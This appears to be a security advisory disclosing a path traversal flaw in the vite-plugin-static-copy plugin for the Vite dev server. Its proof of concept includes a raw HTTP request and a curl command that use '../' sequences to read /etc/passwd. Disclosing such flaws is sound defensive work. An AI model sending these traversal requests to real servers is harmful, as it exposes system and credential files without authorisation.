Details

vite-plugin-static-copy files not included in `src` are possible to access with a crafted request ### Summary Files not included in `src` was possible to access with a crafted request. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. Arbitrary files can be disclosed by exploiting this vulnerability. ### Details Consider the following configuration in used by `vite.config.ts`: ```ts import { defineConfig } from 'vite' import { viteStaticCopy } from 'vite-plugin-static-copy' export default defineConfig({ plugins: [ viteStaticCopy({ targets: [ { src: "./public/images", dest: "./", }, ], }), ], }); ``` The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem. ### PoC I've attached a demo app to showcase the bug. Run it with `npm run dev` and issue the following HTTP request ``` GET /static/images/../../../../../../../etc/passwd HTTP/1.1 Host: localhost:3001 Content-Length: 2 ``` OR ``` curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: localhost:3001' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost:3001/static/images/../../../../../../../etc/passwd' ``` Observe that the `/etc/passwd` file is included in the response. <img width="1289" height="449" alt="Screenshot 2025-08-16 at 10 27 11 PM" src="https://github.com/user-attachments/assets/4de12612-7b86-44d7-a403-c76f12832e37" />
